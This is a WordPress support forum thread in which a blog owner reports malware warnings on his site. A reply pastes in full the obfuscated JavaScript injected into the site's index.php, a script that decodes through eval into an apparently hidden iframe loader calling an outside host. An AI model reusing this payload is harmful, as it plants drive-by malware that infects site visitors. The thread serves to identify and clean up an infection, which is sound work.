Malware issue

  • bitsofbobs

    (@bitsofbobs)


    13 years, 1 month ago

    Hello wondering if anyone could help. Past week or so my wordpress blog bitsofbobs.com has been reporting all sorts of errors dependant on which browser you use.

    Chrome says it contains malware from goptres.co.cc

    My wife’s Iphone (4.0) takes her to an O2 page for age verification which is legit, but have no idea what’s causing it to go there.

    http://www.o2.co.uk/support/generalhelp/howdoi/safetycontrolandaccess/blockunblock

    however my iphone (3gs)does not

    AVG flags up
    ” Exploit Blackhole Exploit Kit (type 1380)”

    I’ve looked into all these things online and Can’t find anything solid.I contacted my web hosts who pretty much told me it wasn’t their problem. Any help would be appreciated. I have access to everything via FTP but am not really code savy to go digging for it. Just wondered if anyone has ever come across anything like this before. In the 6 years I’ve had my blog it’s never done anything like this before.

    Thanks

Viewing 3 replies - 1 through 3 (of 3 total)
  • Roy

    (@gangleri)

    13 years, 1 month ago

    I think you might want to start reading this and all the links in it…
    http://codex.wordpress.org/FAQ_My_site_was_hacked

    Thread Starter bitsofbobs

    (@bitsofbobs)

    13 years, 1 month ago

    Thankyou…appreciated

    ssuryar

    (@ssuryar)

    12 years, 2 months ago

    You will find the script as shown below on your INDEX.PHP (Main Directory not your theme directory)
    Please remove this code and you will find the same code again in your wp-admin/index.php. Please remove it and that’s it. Save your files and login to your wordpress theme with old password and change the password once after you logged in. Cheers ! Surya R Praveen

    <!– script –>

    if(window.document)aa=new RegExp(‘test’,’i’).toString();aaa=’/test/i’;if(aa.indexOf(aaa)!==-1){ss=”;s=String;ee=’e’;e=window[ee+’val’];t=’w’;}h=-2;n=[“4.5w4.5w52.5w51w16w20w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w20.5w61.5w4.5w4.5w4.5w52.5w51w57w48.5w54.5w50.5w57w20w20.5w29.5w4.5w4.5w62.5w16w50.5w54w57.5w50.5w16w61.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w59.5w57w52.5w58w50.5w20w17w30w52.5w51w57w48.5w54.5w50.5w16w57.5w57w49.5w30.5w19.5w52w58w58w56w29w23.5w23.5w58w50w57.5w24.5w24.5w25.5w23w24.5w50w58.5w54.5w49w23w49.5w55.5w54.5w23.5w57.5w58w50w57.5w23.5w51.5w55.5w23w56w52w56w31.5w57.5w52.5w50w30.5w24.5w19.5w16w59.5w52.5w50w58w52w30.5w19.5w24.5w24w19.5w16w52w50.5w52.5w51.5w52w58w30.5w19.5w24.5w24w19.5w16w57.5w58w60.5w54w50.5w30.5w19.5w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w29w52w52.5w50w50w50.5w55w29.5w56w55.5w57.5w52.5w58w52.5w55.5w55w29w48.5w49w57.5w55.5w54w58.5w58w50.5w29.5w54w50.5w51w58w29w24w29.5w58w55.5w56w29w24w29.5w19.5w31w30w23.5w52.5w51w57w48.5w54.5w50.5w31w17w20.5w29.5w4.5w4.5w62.5w4.5w4.5w51w58.5w55w49.5w58w52.5w55.5w55w16w52.5w51w57w48.5w54.5w50.5w57w20w20.5w61.5w4.5w4.5w4.5w59w48.5w57w16w51w16w30.5w16w50w55.5w49.5w58.5w54.5w50.5w55w58w23w49.5w57w50.5w48.5w58w50.5w34.5w54w50.5w54.5w50.5w55w58w20w19.5w52.5w51w57w48.5w54.5w50.5w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w57.5w57w49.5w19.5w22w19.5w52w58w58w56w29w23.5w23.5w58w50w57.5w24.5w24.5w25.5w23w24.5w50w58.5w54.5w49w23w49.5w55.5w54.5w23.5w57.5w58w50w57.5w23.5w51.5w55.5w23w56w52w56w31.5w57.5w52.5w50w30.5w24.5w19.5w20.5w29.5w51w23w57.5w58w60.5w54w50.5w23w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w30.5w19.5w52w52.5w50w50w50.5w55w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w56w55.5w57.5w52.5w58w52.5w55.5w55w30.5w19.5w48.5w49w57.5w55.5w54w58.5w58w50.5w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w54w50.5w51w58w30.5w19.5w24w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w58w55.5w56w30.5w19.5w24w19.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w59.5w52.5w50w58w52w19.5w22w19.5w24.5w24w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w52w50.5w52.5w51.5w52w58w19.5w22w19.5w24.5w24w19.5w20.5w29.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w23w48.5w56w56w50.5w55w50w33.5w52w52.5w54w50w20w51w20.5w29.5w4.5w4.5w62.5”];n=n[0].split(t);f=’f’+’romChar’;for(i=0;i-n.length<0;i++){j=i;ss=ss+String[f+’Code’](-h*n[j]);}e(ss); <!– script –>

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Malware issue’ is closed to new replies.

Tags